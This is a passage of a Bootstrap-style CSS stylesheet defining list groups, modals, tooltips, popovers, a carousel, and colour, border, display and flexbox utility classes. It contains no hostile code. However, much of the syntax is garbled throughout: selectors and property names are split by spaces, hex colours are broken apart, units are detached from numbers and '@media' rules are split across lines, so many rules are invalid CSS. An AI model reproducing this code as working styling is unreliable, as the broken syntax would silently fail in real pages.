    .list - group - item: disabled {
        color: #6c757d;
        background-color: # fff
    }

.list - group - item.active {
    z - index: 2;
    color: # fff;
    background - color: #007bff;
        border-color: # 007 bff
}

.list - group - flush.list - group - item {
    border - right: 0;
    border - left: 0;
    border - radius: 0
}

.list - group - flush: first - child.list - group - item: first - child {
    border - top: 0
}

.list - group - flush: last - child.list - group - item: last - child {
    border - bottom: 0
}

.list - group - item - primary {
    color: #004085;
        background-color: # b8daff
}

.list - group - item - primary.list - group - item - action: focus,
    .list - group - item - primary.list - group - item - action: hover {
        color: #004085;
        background-color: # 9 fcdff
    }

.list - group - item - primary.list - group - item - action.active {
    color: # fff;
    background - color: #004085;
        border-color: # 004085
}

.list - group - item - secondary {
    color: #383d41;
        background-color: # d6d8db
}

.list - group - item - secondary.list - group - item - action: focus,
    .list - group - item - secondary.list - group - item - action: hover {
        color: #383d41;
        background-color: # c8cbcf
    }

.list - group - item - secondary.list - group - item - action.active {
    color: # fff;
    background - color: #383d41;
        border-color: # 383 d41
}

.list - group - item - success {
    color: #155724;
        background-color: # c3e6cb
}

.list - group - item - success.list - group - item - action: focus,
    .list - group - item - success.list - group - item - action: hover {
        color: #155724;
        background-color: # b1dfbb
    }

.list - group - item - success.list - group - item - action.active {
    color: # fff;
    background - color: #155724;
        border-color: # 155724
}

.list - group - item - info {
    color: #0c5460;
        background-color: # bee5eb
}

.list - group - item - info.list - group - item - action: focus,
    .list - group - item - info.list - group - item - action: hover {
        color: #0c5460;
        background-color: # abdde5
    }

.list - group - item - info.list - group - item - action.active {
    color: # fff;
    background - color: #0c5460;
        border-color: # 0 c5460
}

.list - group - item - warning {
    color: #856404;
        background-color: # ffeeba
}

.list - group - item - warning.list - group - item - action: focus,
    .list - group - item - warning.list - group - item - action: hover {
        color: #856404;
        background-color: # ffe8a1
    }

.list - group - item - warning.list - group - item - action.active {
    color: # fff;
    background - color: #856404;
        border-color: # 856404
}

.list - group - item - danger {
    color: #721c24;
        background-color: # f5c6cb
}

.list - group - item - danger.list - group - item - action: focus,
    .list - group - item - danger.list - group - item - action: hover {
        color: #721c24;
        background-color: # f1b0b7
    }

.list - group - item - danger.list - group - item - action.active {
    color: # fff;
    background - color: #721c24;
        border-color: # 721 c24
}

.list - group - item - light {
    color: #818182;
        background-color: # fdfdfe
}

.list - group - item - light.list - group - item - action: focus,
    .list - group - item - light.list - group - item - action: hover {
        color: #818182;
        background-color: # ececf6
    }

.list - group - item - light.list - group - item - action.active {
    color: # fff;
    background - color: #818182;
        border-color: # 818182
}

.list - group - item - dark {
    color: #1b1e21;
        background-color: # c6c8ca
}

.list - group - item - dark.list - group - item - action: focus,
    .list - group - item - dark.list - group - item - action: hover {
        color: #1b1e21;
        background-color: # b9bbbe
    }

.list - group - item - dark.list - group - item - action.active {
    color: # fff;
    background - color: #1b1e21;
        border-color: # 1 b1e21
}

.close {
    float: right;
    font - size: 1.5 rem;
    font - weight: 700;
    line - height: 1;
    color: #000;
        text-shadow: 0 1px 0 # fff;
    opacity: .5
}

.close: focus,
    .close: hover {
        color: #000;
        text-decoration: none;
        opacity: .75
    }

    .close:not(:disabled):not(.disabled) {
        cursor: pointer
    }

    button.close {
        padding: 0;
        background-color: transparent;
        border: 0;
        -webkit-appearance: none
    }

    .modal-open {
        overflow: hidden
    }

    .modal {
        position: fixed;
        top: 0;
        right: 0;
        bottom: 0;
        left: 0;
        z-index: 1050;
        display: none;
        overflow: hidden;
        outline: 0
    }

    .modal-open .modal {
        overflow-x: hidden;
        overflow-y: auto
    }

    .modal-dialog {
        position: relative;
        width: auto;
        margin: .5rem;
        pointer-events: none
    }

    .modal.fade .modal-dialog {
        transition: -webkit-transform .3s ease-out;
        transition: transform .3s ease-out;
        transition: transform .3s ease-out, -webkit-transform .3s ease-out;
        -webkit-transform: translate(0, -25%);
        transform: translate(0, -25%)
    }

    .modal.show .modal-dialog {
        -webkit-transform: translate(0, 0);
        transform: translate(0, 0)
    }

    .modal-dialog-centered {
        display: -webkit-box;
        display: -ms-flexbox;
        display: flex;
        -webkit-box-align: center;
        -ms-flex-align: center;
        align-items: center;
        min-height: calc(100% - (.5rem * 2))
    }

    .modal-content {
        position: relative;
        display: -webkit-box;
        display: -ms-flexbox;
        display: flex;
        -webkit-box-orient: vertical;
        -webkit-box-direction: normal;
        -ms-flex-direction: column;
        flex-direction: column;
        width: 100%;
        pointer-events: auto;
        background-color: # fff;
        background - clip: padding - box;
        border: 1 px solid rgba(0, 0, 0, .2);
        border - radius: .3 rem;
        outline: 0
    }

.modal - backdrop {
    position: fixed;
    top: 0;
    right: 0;
    bottom: 0;
    left: 0;
    z - index: 1040;
    background - color: #000
    }

    .modal-backdrop.fade {
        opacity: 0
    }

    .modal-backdrop.show {
        opacity: .5
    }

    .modal-header {
        display: -webkit-box;
        display: -ms-flexbox;
        display: flex;
        -webkit-box-align: start;
        -ms-flex-align: start;
        align-items: flex-start;
        -webkit-box-pack: justify;
        -ms-flex-pack: justify;
        justify-content: space-between;
        padding: 1rem;
        border-bottom: 1px solid # e9ecef;
    border - top - left - radius: .3 rem;
    border - top - right - radius: .3 rem
}

.modal - header.close {
    padding: 1 rem;
    margin: -1 rem - 1 rem - 1 rem auto
}

.modal - title {
    margin - bottom: 0;
    line - height: 1.5
}

.modal - body {
    position: relative; - webkit - box - flex: 1; - ms - flex: 1 1 auto;
    flex: 1 1 auto;
    padding: 1 rem
}

.modal - footer {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - align: center; - ms - flex - align: center;
    align - items: center; - webkit - box - pack: end; - ms - flex - pack: end;
    justify - content: flex - end;
    padding: 1 rem;
    border - top: 1 px solid # e9ecef
}

.modal - footer > : not(: first - child) {
    margin - left: .25 rem
}

.modal - footer > : not(: last - child) {
    margin - right: .25 rem
}

.modal - scrollbar - measure {
    position: absolute;
    top: -9999 px;
    width: 50 px;
    height: 50 px;
    overflow: scroll
}

@
media(min - width: 576 px) {
    .modal - dialog {
        max - width: 500 px;
        margin: 1.75 rem auto
    }

    .modal - dialog - centered {
        min - height: calc(100 % -(1.75 rem * 2))
    }

    .modal - sm {
        max - width: 300 px
    }
}

@
media(min - width: 992 px) {
    .modal - lg {
        max - width: 800 px
    }
}

.tooltip {
    position: absolute;
    z - index: 1070;
    display: block;
    margin: 0;
    font - family: -apple - system,
    BlinkMacSystemFont,
    "Segoe UI",
    Roboto,
    "Helvetica Neue",
    Arial,
    sans - serif,
    "Apple Color Emoji",
    "Segoe UI Emoji",
    "Segoe UI Symbol";
    font - style: normal;
    font - weight: 400;
    line - height: 1.5;
    text - align: left;
    text - align: start;
    text - decoration: none;
    text - shadow: none;
    text - transform: none;
    letter - spacing: normal;
    word - break: normal;
    word - spacing: normal;
    white - space: normal;
    line - break: auto;
    font - size: .875 rem;
    word - wrap: break -word;
    opacity: 0
}

.tooltip.show {
    opacity: .9
}

.tooltip.arrow {
    position: absolute;
    display: block;
    width: .8 rem;
    height: .4 rem
}

.tooltip.arrow::before {
    position: absolute;
    content: "";
    border - color: transparent;
    border - style: solid
}

.bs - tooltip - auto[x - placement ^= top],
    .bs - tooltip - top {
        padding: .4 rem 0
    }

.bs - tooltip - auto[x - placement ^= top].arrow,
    .bs - tooltip - top.arrow {
        bottom: 0
    }

.bs - tooltip - auto[x - placement ^= top].arrow::before,
    .bs - tooltip - top.arrow::before {
        top: 0;
        border - width: .4 rem.4 rem 0;
        border - top - color: #000
    }

    .bs-tooltip-auto[x-placement^= right],
    .bs - tooltip - right {
        padding: 0.4 rem
    }

.bs - tooltip - auto[x - placement ^= right].arrow,
    .bs - tooltip - right.arrow {
        left: 0;
        width: .4 rem;
        height: .8 rem
    }

.bs - tooltip - auto[x - placement ^= right].arrow::before,
    .bs - tooltip - right.arrow::before {
        right: 0;
        border - width: .4 rem.4 rem.4 rem 0;
        border - right - color: #000
    }

    .bs-tooltip-auto[x-placement^= bottom],
    .bs - tooltip - bottom {
        padding: .4 rem 0
    }

.bs - tooltip - auto[x - placement ^= bottom].arrow,
    .bs - tooltip - bottom.arrow {
        top: 0
    }

.bs - tooltip - auto[x - placement ^= bottom].arrow::before,
    .bs - tooltip - bottom.arrow::before {
        bottom: 0;
        border - width: 0.4 rem.4 rem;
        border - bottom - color: #000
    }

    .bs-tooltip-auto[x-placement^= left],
    .bs - tooltip - left {
        padding: 0.4 rem
    }

.bs - tooltip - auto[x - placement ^= left].arrow,
    .bs - tooltip - left.arrow {
        right: 0;
        width: .4 rem;
        height: .8 rem
    }

.bs - tooltip - auto[x - placement ^= left].arrow::before,
    .bs - tooltip - left.arrow::before {
        left: 0;
        border - width: .4 rem 0.4 rem.4 rem;
        border - left - color: #000
    }

    .tooltip-inner {
        max-width: 200px;
        padding: .25rem .5rem;
        color: # fff;
        text - align: center;
        background - color: #000;
        border-radius: .25rem
    }

    .popover {
        position: absolute;
        top: 0;
        left: 0;
        z-index: 1060;
        display: block;
        max-width: 276px;
        font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
        font-style: normal;
        font-weight: 400;
        line-height: 1.5;
        text-align: left;
        text-align: start;
        text-decoration: none;
        text-shadow: none;
        text-transform: none;
        letter-spacing: normal;
        word-break: normal;
        word-spacing: normal;
        white-space: normal;
        line-break: auto;
        font-size: .875rem;
        word-wrap: break-word;
        background-color: # fff;
        background - clip: padding - box;
        border: 1 px solid rgba(0, 0, 0, .2);
        border - radius: .3 rem
    }

.popover.arrow {
    position: absolute;
    display: block;
    width: 1 rem;
    height: .5 rem;
    margin: 0.3 rem
}

.popover.arrow::after,
    .popover.arrow::before {
        position: absolute;
        display: block;
        content: "";
        border - color: transparent;
        border - style: solid
    }

.bs - popover - auto[x - placement ^= top],
    .bs - popover - top {
        margin - bottom: .5 rem
    }

.bs - popover - auto[x - placement ^= top].arrow,
    .bs - popover - top.arrow {
        bottom: calc((.5 rem + 1 px) * -1)
    }

.bs - popover - auto[x - placement ^= top].arrow::after,
    .bs - popover - auto[x - placement ^= top].arrow::before,
    .bs - popover - top.arrow::after,
    .bs - popover - top.arrow::before {
        border - width: .5 rem.5 rem 0
    }

.bs - popover - auto[x - placement ^= top].arrow::before,
    .bs - popover - top.arrow::before {
        bottom: 0;
        border - top - color: rgba(0, 0, 0, .25)
    }

.bs - popover - auto[x - placement ^= top].arrow::after,
    .bs - popover - top.arrow::after {
        bottom: 1 px;
        border - top - color: # fff
    }

.bs - popover - auto[x - placement ^= right],
    .bs - popover - right {
        margin - left: .5 rem
    }

.bs - popover - auto[x - placement ^= right].arrow,
    .bs - popover - right.arrow {
        left: calc((.5 rem + 1 px) * -1);
        width: .5 rem;
        height: 1 rem;
        margin: .3 rem 0
    }

.bs - popover - auto[x - placement ^= right].arrow::after,
    .bs - popover - auto[x - placement ^= right].arrow::before,
    .bs - popover - right.arrow::after,
    .bs - popover - right.arrow::before {
        border - width: .5 rem.5 rem.5 rem 0
    }

.bs - popover - auto[x - placement ^= right].arrow::before,
    .bs - popover - right.arrow::before {
        left: 0;
        border - right - color: rgba(0, 0, 0, .25)
    }

.bs - popover - auto[x - placement ^= right].arrow::after,
    .bs - popover - right.arrow::after {
        left: 1 px;
        border - right - color: # fff
    }

.bs - popover - auto[x - placement ^= bottom],
    .bs - popover - bottom {
        margin - top: .5 rem
    }

.bs - popover - auto[x - placement ^= bottom].arrow,
    .bs - popover - bottom.arrow {
        top: calc((.5 rem + 1 px) * -1)
    }

.bs - popover - auto[x - placement ^= bottom].arrow::after,
    .bs - popover - auto[x - placement ^= bottom].arrow::before,
    .bs - popover - bottom.arrow::after,
    .bs - popover - bottom.arrow::before {
        border - width: 0.5 rem.5 rem.5 rem
    }

.bs - popover - auto[x - placement ^= bottom].arrow::before,
    .bs - popover - bottom.arrow::before {
        top: 0;
        border - bottom - color: rgba(0, 0, 0, .25)
    }

.bs - popover - auto[x - placement ^= bottom].arrow::after,
    .bs - popover - bottom.arrow::after {
        top: 1 px;
        border - bottom - color: # fff
    }

.bs - popover - auto[x - placement ^= bottom].popover - header::before,
    .bs - popover - bottom.popover - header::before {
        position: absolute;
        top: 0;
        left: 50 % ;
        display: block;
        width: 1 rem;
        margin - left: -.5 rem;
        content: "";
        border - bottom: 1 px solid # f7f7f7
    }

.bs - popover - auto[x - placement ^= left],
    .bs - popover - left {
        margin - right: .5 rem
    }

.bs - popover - auto[x - placement ^= left].arrow,
    .bs - popover - left.arrow {
        right: calc((.5 rem + 1 px) * -1);
        width: .5 rem;
        height: 1 rem;
        margin: .3 rem 0
    }

.bs - popover - auto[x - placement ^= left].arrow::after,
    .bs - popover - auto[x - placement ^= left].arrow::before,
    .bs - popover - left.arrow::after,
    .bs - popover - left.arrow::before {
        border - width: .5 rem 0.5 rem.5 rem
    }

.bs - popover - auto[x - placement ^= left].arrow::before,
    .bs - popover - left.arrow::before {
        right: 0;
        border - left - color: rgba(0, 0, 0, .25)
    }

.bs - popover - auto[x - placement ^= left].arrow::after,
    .bs - popover - left.arrow::after {
        right: 1 px;
        border - left - color: # fff
    }

.popover - header {
    padding: .5 rem.75 rem;
    margin - bottom: 0;
    font - size: 1 rem;
    color: inherit;
    background - color: # f7f7f7;
    border - bottom: 1 px solid # ebebeb;
    border - top - left - radius: calc(.3 rem - 1 px);
    border - top - right - radius: calc(.3 rem - 1 px)
}

.popover - header: empty {
    display: none
}

.popover - body {
    padding: .5 rem.75 rem;
    color: #212529
    }

    .carousel {
        position: relative
    }

    .carousel-inner {
        position: relative;
        width: 100%;
        overflow: hidden
    }

    .carousel-item {
        position: relative;
        display: none;
        -webkit-box-align: center;
        -ms-flex-align: center;
        align-items: center;
        width: 100%;
        transition: -webkit-transform .6s ease;
        transition: transform .6s ease;
        transition: transform .6s ease, -webkit-transform .6s ease;
        -webkit-backface-visibility: hidden;
        backface-visibility: hidden;
        -webkit-perspective: 1000px;
        perspective: 1000px
    }

    .carousel-item-next,
    .carousel-item-prev,
    .carousel-item.active {
        display: block
    }

    .carousel-item-next,
    .carousel-item-prev {
        position: absolute;
        top: 0
    }

    .carousel-item-next.carousel-item-left,
    .carousel-item-prev.carousel-item-right {
        -webkit-transform: translateX(0);
        transform: translateX(0)
    }

    @supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)) {

        .carousel-item-next.carousel-item-left,
        .carousel-item-prev.carousel-item-right {
            -webkit-transform: translate3d(0, 0, 0);
            transform: translate3d(0, 0, 0)
        }
    }

    .active.carousel-item-right,
    .carousel-item-next {
        -webkit-transform: translateX(100%);
        transform: translateX(100%)
    }

    @supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)) {

        .active.carousel-item-right,
        .carousel-item-next {
            -webkit-transform: translate3d(100%, 0, 0);
            transform: translate3d(100%, 0, 0)
        }
    }

    .active.carousel-item-left,
    .carousel-item-prev {
        -webkit-transform: translateX(-100%);
        transform: translateX(-100%)
    }

    @supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)) {

        .active.carousel-item-left,
        .carousel-item-prev {
            -webkit-transform: translate3d(-100%, 0, 0);
            transform: translate3d(-100%, 0, 0)
        }
    }

    .carousel-control-next,
    .carousel-control-prev {
        position: absolute;
        top: 0;
        bottom: 0;
        display: -webkit-box;
        display: -ms-flexbox;
        display: flex;
        -webkit-box-align: center;
        -ms-flex-align: center;
        align-items: center;
        -webkit-box-pack: center;
        -ms-flex-pack: center;
        justify-content: center;
        width: 15%;
        color: # fff;
    text - align: center;
    opacity: .5
}

.carousel - control - next: focus,
    .carousel - control - next: hover,
    .carousel - control - prev: focus,
    .carousel - control - prev: hover {
        color: # fff;
        text - decoration: none;
        outline: 0;
        opacity: .9
    }

.carousel - control - prev {
    left: 0
}

.carousel - control - next {
    right: 0
}

.carousel - control - next - icon,
    .carousel - control - prev - icon {
        display: inline - block;
        width: 20 px;
        height: 20 px;
        background: transparent no - repeat center center;
        background - size: 100 % 100 %
    }

.carousel - control - prev - icon {
    background - image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E")
}

.carousel - control - next - icon {
    background - image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E")
}

.carousel - indicators {
    position: absolute;
    right: 0;
    bottom: 10 px;
    left: 0;
    z - index: 15;
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - pack: center; - ms - flex - pack: center;
    justify - content: center;
    padding - left: 0;
    margin - right: 15 % ;
    margin - left: 15 % ;
    list - style: none
}

.carousel - indicators li {
    position: relative; - webkit - box - flex: 0; - ms - flex: 0 1 auto;
    flex: 0 1 auto;
    width: 30 px;
    height: 3 px;
    margin - right: 3 px;
    margin - left: 3 px;
    text - indent: -999 px;
    background - color: rgba(255, 255, 255, .5)
}

.carousel - indicators li::before {
    position: absolute;
    top: -10 px;
    left: 0;
    display: inline - block;
    width: 100 % ;
    height: 10 px;
    content: ""
}

.carousel - indicators li::after {
    position: absolute;
    bottom: -10 px;
    left: 0;
    display: inline - block;
    width: 100 % ;
    height: 10 px;
    content: ""
}

.carousel - indicators.active {
    background - color: # fff
}

.carousel - caption {
    position: absolute;
    right: 15 % ;
    bottom: 20 px;
    left: 15 % ;
    z - index: 10;
    padding - top: 20 px;
    padding - bottom: 20 px;
    color: # fff;
    text - align: center
}

.align - baseline {
    vertical - align: baseline!important
}

.align - top {
    vertical - align: top!important
}

.align - middle {
    vertical - align: middle!important
}

.align - bottom {
    vertical - align: bottom!important
}

.align - text - bottom {
    vertical - align: text - bottom!important
}

.align - text - top {
    vertical - align: text - top!important
}

.bg - primary {
    background - color: #007bff !important
    }

    a.bg-primary:focus,
    a.bg-primary:hover,
    button.bg-primary:focus,
    button.bg-primary:hover {
        background-color: # 0062 cc!important
}

.bg - secondary {
    background - color: #6c757d !important
    }

    a.bg-secondary:focus,
    a.bg-secondary:hover,
    button.bg-secondary:focus,
    button.bg-secondary:hover {
        background-color: # 545 b62!important
}

.bg - success {
    background - color: #28a745 !important
    }

    a.bg-success:focus,
    a.bg-success:hover,
    button.bg-success:focus,
    button.bg-success:hover {
        background-color: # 1e7 e34!important
}

.bg - info {
    background - color: #17a2b8 !important
    }

    a.bg-info:focus,
    a.bg-info:hover,
    button.bg-info:focus,
    button.bg-info:hover {
        background-color: # 117 a8b!important
}

.bg - warning {
    background - color: # ffc107!important
}

a.bg - warning: focus,
    a.bg - warning: hover,
    button.bg - warning: focus,
    button.bg - warning: hover {
        background - color: # d39e00!important
    }

.bg - danger {
    background - color: # dc3545!important
}

a.bg - danger: focus,
    a.bg - danger: hover,
    button.bg - danger: focus,
    button.bg - danger: hover {
        background - color: # bd2130!important
    }

.bg - light {
    background - color: # f8f9fa!important
}

a.bg - light: focus,
    a.bg - light: hover,
    button.bg - light: focus,
    button.bg - light: hover {
        background - color: # dae0e5!important
    }

.bg - dark {
    background - color: #343a40 !important
    }

    a.bg-dark:focus,
    a.bg-dark:hover,
    button.bg-dark:focus,
    button.bg-dark:hover {
        background-color: # 1 d2124!important
}

.bg - white {
    background - color: # fff!important
}

.bg - transparent {
    background - color: transparent!important
}

.border {
    border: 1 px solid # dee2e6!important
}

.border - top {
    border - top: 1 px solid # dee2e6!important
}

.border - right {
    border - right: 1 px solid # dee2e6!important
}

.border - bottom {
    border - bottom: 1 px solid # dee2e6!important
}

.border - left {
    border - left: 1 px solid # dee2e6!important
}

.border - 0 {
    border: 0!important
}

.border - top - 0 {
    border - top: 0!important
}

.border - right - 0 {
    border - right: 0!important
}

.border - bottom - 0 {
    border - bottom: 0!important
}

.border - left - 0 {
    border - left: 0!important
}

.border - primary {
    border - color: #007bff !important
    }

    .border-secondary {
        border-color: # 6 c757d!important
}

.border - success {
    border - color: #28a745 !important
    }

    .border-info {
        border-color: # 17 a2b8!important
}

.border - warning {
    border - color: # ffc107!important
}

.border - danger {
    border - color: # dc3545!important
}

.border - light {
    border - color: # f8f9fa!important
}

.border - dark {
    border - color: #343a40 !important
    }

    .border-white {
        border-color: # fff!important
}

.rounded {
    border - radius: .25 rem!important
}

.rounded - top {
    border - top - left - radius: .25 rem!important;
    border - top - right - radius: .25 rem!important
}

.rounded - right {
    border - top - right - radius: .25 rem!important;
    border - bottom - right - radius: .25 rem!important
}

.rounded - bottom {
    border - bottom - right - radius: .25 rem!important;
    border - bottom - left - radius: .25 rem!important
}

.rounded - left {
    border - top - left - radius: .25 rem!important;
    border - bottom - left - radius: .25 rem!important
}

.rounded - circle {
    border - radius: 50 % !important
}

.rounded - 0 {
    border - radius: 0!important
}

.clearfix::after {
    display: block;
    clear: both;
    content: ""
}

.d - none {
    display: none!important
}

.d - inline {
    display: inline!important
}

.d - inline - block {
    display: inline - block!important
}

.d - block {
    display: block!important
}

.d - table {
    display: table!important
}

.d - table - row {
    display: table - row!important
}

.d - table - cell {
    display: table - cell!important
}

.d - flex {
    display: -webkit - box!important;
    display: -ms - flexbox!important;
    display: flex!important
}

.d - inline - flex {
    display: -webkit - inline - box!important;
    display: -ms - inline - flexbox!important;
    display: inline - flex!important
}

@
media(min - width: 576 px) {
    .d - sm - none {
        display: none!important
    }

    .d - sm - inline {
        display: inline!important
    }

    .d - sm - inline - block {
        display: inline - block!important
    }

    .d - sm - block {
        display: block!important
    }

    .d - sm - table {
        display: table!important
    }

    .d - sm - table - row {
        display: table - row!important
    }

    .d - sm - table - cell {
        display: table - cell!important
    }

    .d - sm - flex {
        display: -webkit - box!important;
        display: -ms - flexbox!important;
        display: flex!important
    }

    .d - sm - inline - flex {
        display: -webkit - inline - box!important;
        display: -ms - inline - flexbox!important;
        display: inline - flex!important
    }
}

@
media(min - width: 768 px) {
    .d - md - none {
        display: none!important
    }

    .d - md - inline {
        display: inline!important
    }

    .d - md - inline - block {
        display: inline - block!important
    }

    .d - md - block {
        display: block!important
    }

    .d - md - table {
        display: table!important
    }

    .d - md - table - row {
        display: table - row!important
    }

    .d - md - table - cell {
        display: table - cell!important
    }

    .d - md - flex {
        display: -webkit - box!important;
        display: -ms - flexbox!important;
        display: flex!important
    }

    .d - md - inline - flex {
        display: -webkit - inline - box!important;
        display: -ms - inline - flexbox!important;
        display: inline - flex!important
    }
}

@
media(min - width: 992 px) {
    .d - lg - none {
        display: none!important
    }

    .d - lg - inline {
        display: inline!important
    }

    .d - lg - inline - block {
        display: inline - block!important
    }

    .d - lg - block {
        display: block!important
    }

    .d - lg - table {
        display: table!important
    }

    .d - lg - table - row {
        display: table - row!important
    }

    .d - lg - table - cell {
        display: table - cell!important
    }

    .d - lg - flex {
        display: -webkit - box!important;
        display: -ms - flexbox!important;
        display: flex!important
    }

    .d - lg - inline - flex {
        display: -webkit - inline - box!important;
        display: -ms - inline - flexbox!important;
        display: inline - flex!important
    }
}

@
media(min - width: 1200 px) {
    .d - xl - none {
        display: none!important
    }

    .d - xl - inline {
        display: inline!important
    }

    .d - xl - inline - block {
        display: inline - block!important
    }

    .d - xl - block {
        display: block!important
    }

    .d - xl - table {
        display: table!important
    }

    .d - xl - table - row {
        display: table - row!important
    }

    .d - xl - table - cell {
        display: table - cell!important
    }

    .d - xl - flex {
        display: -webkit - box!important;
        display: -ms - flexbox!important;
        display: flex!important
    }

    .d - xl - inline - flex {
        display: -webkit - inline - box!important;
        display: -ms - inline - flexbox!important;
        display: inline - flex!important
    }
}

@
media print {
    .d - print - none {
        display: none!important
    }

    .d - print - inline {
        display: inline!important
    }

    .d - print - inline - block {
        display: inline - block!important
    }

    .d - print - block {
        display: block!important
    }

    .d - print - table {
        display: table!important
    }

    .d - print - table - row {
        display: table - row!important
    }

    .d - print - table - cell {
        display: table - cell!important
    }

    .d - print - flex {
        display: -webkit - box!important;
        display: -ms - flexbox!important;
        display: flex!important
    }

    .d - print - inline - flex {
        display: -webkit - inline - box!important;
        display: -ms - inline - flexbox!important;
        display: inline - flex!important
    }
}

.embed - responsive {
    position: relative;
    display: block;
    width: 100 % ;
    padding: 0;
    overflow: hidden
}

.embed - responsive::before {
    display: block;
    content: ""
}

.embed - responsive.embed - responsive - item,
    .embed - responsive embed,
    .embed - responsive iframe,
    .embed - responsive object,
    .embed - responsive video {
        position: absolute;
        top: 0;
        bottom: 0;
        left: 0;
        width: 100 % ;
        height: 100 % ;
        border: 0
    }

.embed - responsive - 21 by9::before {
    padding - top: 42.857143 %
}

.embed - responsive - 16 by9::before {
    padding - top: 56.25 %
}

.embed - responsive - 4 by3::before {
    padding - top: 75 %
}

.embed - responsive - 1 by1::before {
    padding - top: 100 %
}

.flex - row {
    -webkit - box - orient: horizontal!important; - webkit - box - direction: normal!important; - ms - flex - direction: row!important;
    flex - direction: row!important
}

.flex - column {
    -webkit - box - orient: vertical!important; - webkit - box - direction: normal!important; - ms - flex - direction: column!important;
    flex - direction: column!important
}

.flex - row - reverse {
    -webkit - box - orient: horizontal!important; - webkit - box - direction: reverse!important; - ms - flex - direction: row - reverse!important;
    flex - direction: row - reverse!important
}

.flex - column - reverse {
    -webkit - box - orient: vertical!important; - webkit - box - direction: reverse!important; - ms - flex - direction: column - reverse!important;
    flex - direction: column - reverse!important
}

.flex - wrap {
    -ms - flex - wrap: wrap!important;
    flex - wrap: wrap!important
}

.flex - nowrap {
    -ms - flex - wrap: nowrap!important;
    flex - wrap: nowrap!important
}

.flex - wrap - reverse {
    -ms - flex - wrap: wrap - reverse!important;
    flex - wrap: wrap - reverse!important
}

.justify - content - start {
    -webkit - box - pack: start!important; - ms - flex - pack: start!important;
    justify - content: flex - start!important
}

.justify - content - end {
    -webkit - box - pack: end!important; - ms - flex - pack: end!important;
    justify - content: flex - end!important
}

.justify - content - center {
    -webkit - box - pack: center!important; - ms - flex - pack: center!important;
    justify - content: center!important
}

.justify - content - between {
    -webkit - box - pack: justify!important; - ms - flex - pack: justify!important;
    justify - content: space - between!important
}

.justify - content - around {
    -ms - flex - pack: distribute!important;
    justify - content: space - around!important
}

.align - items - start {
    -webkit - box - align: start!important; - ms - flex - align: start!important;
    align - items: flex - start!important
}

.align - items - end {
    -webkit - box - align: end!important; - ms - flex - align: end!important;
    align - items: flex - end!important
}

.align - items - center {
    -webkit - box - align: center!important; - ms - flex - align: center!important;
    align - items: center!important
}

.align - items - baseline {
    -webkit - box - align: baseline!important; - ms - flex - align: baseline!important;
    align - items: baseline!important
}

.align - items - stretch {
    -webkit - box - align: stretch!important; - ms - flex - align: stretch!important;
    align - items: stretch!important
}

.align - content - start {
    -ms - flex - line - pack: start!important;
    align - content: flex - start!important
}

.align - content - end {
    -ms - flex - line - pack: end!important;
    align - content: flex - end!important
}

.align - content - center {
    -ms - flex - line - pack: center!important;
    align - content: center!important
}

.align - content - between {
    -ms - flex - line - pack: justify!important;
    align - content: space - between!important
}

.align - content - around {
    -ms - flex - line - pack: distribute!important;
    align - content: space - around!important
}

.align - content - stretch {
    -ms - flex - line - pack: stretch!important;
    align - content: stretch!important
}

.align - self - auto {
    -ms - flex - item - align: auto!important;
    align - self: auto!important
}

.align - self - start {
    -ms - flex - item - align: start!important;
    align - self: flex - start!important
}

.align - self - end {
    -ms - flex - item - align: end!important;
    align - self: flex - end!important
}

.align - self - center {
    -ms - flex - item - align: center!important;
    align - self: center!important
}

.align - self - baseline {
    -ms - flex - item - align: baseline!important;
    align - self: baseline!important
}

.align - self - stretch {
    -ms - flex - item - align: stretch!important;
    align - self: stretch!important
}

@
media(min - width: 576 px) {
    .flex - sm - row {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: normal!important; - ms - flex - direction: row!important;
        flex - direction: row!important
    }

    .flex - sm - column {
        -webkit - box - orient: vertical!important; - webkit - box - direction: normal!important; - ms - flex - direction: column!important;
        flex - direction: column!important
    }

    .flex - sm - row - reverse {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: reverse!important; - ms - flex - direction: row - reverse!important;
        flex - direction: row - reverse!important
    }

    .flex - sm - column - reverse {
        -webkit - box - orient: vertical!important; - webkit - box - direction: reverse!important; - ms - flex - direction: column - reverse!important;
        flex - direction: column - reverse!important
    }

    .flex - sm - wrap {
        -ms - flex - wrap: wrap!important;
        flex - wrap: wrap!important
    }

    .flex - sm - nowrap {
        -ms - flex - wrap: nowrap!important;
        flex - wrap: nowrap!important
    }

    .flex - sm - wrap - reverse {
        -ms - flex - wrap: wrap - reverse!important;
        flex - wrap: wrap - reverse!important
    }

    .justify - content - sm - start {
        -webkit - box - pack: start!important; - ms - flex - pack: start!important;
        justify - content: flex - start!important
    }

    .justify - content - sm - end {
        -webkit - box - pack: end!important; - ms - flex - pack: end!important;
        justify - content: flex - end!important
    }

    .justify - content - sm - center {
        -webkit - box - pack: center!important; - ms - flex - pack: center!important;
        justify - content: center!important
    }

    .justify - content - sm - between {
        -webkit - box - pack: justify!important; - ms - flex - pack: justify!important;
        justify - content: space - between!important
    }

    .justify - content - sm - around {
        -ms - flex - pack: distribute!important;
        justify - content: space - around!important
    }

    .align - items - sm - start {
        -webkit - box - align: start!important; - ms - flex - align: start!important;
        align - items: flex - start!important
    }

    .align - items - sm - end {
        -webkit - box - align: end!important; - ms - flex - align: end!important;
        align - items: flex - end!important
    }

    .align - items - sm - center {
        -webkit - box - align: center!important; - ms - flex - align: center!important;
        align - items: center!important
    }

    .align - items - sm - baseline {
        -webkit - box - align: baseline!important; - ms - flex - align: baseline!important;
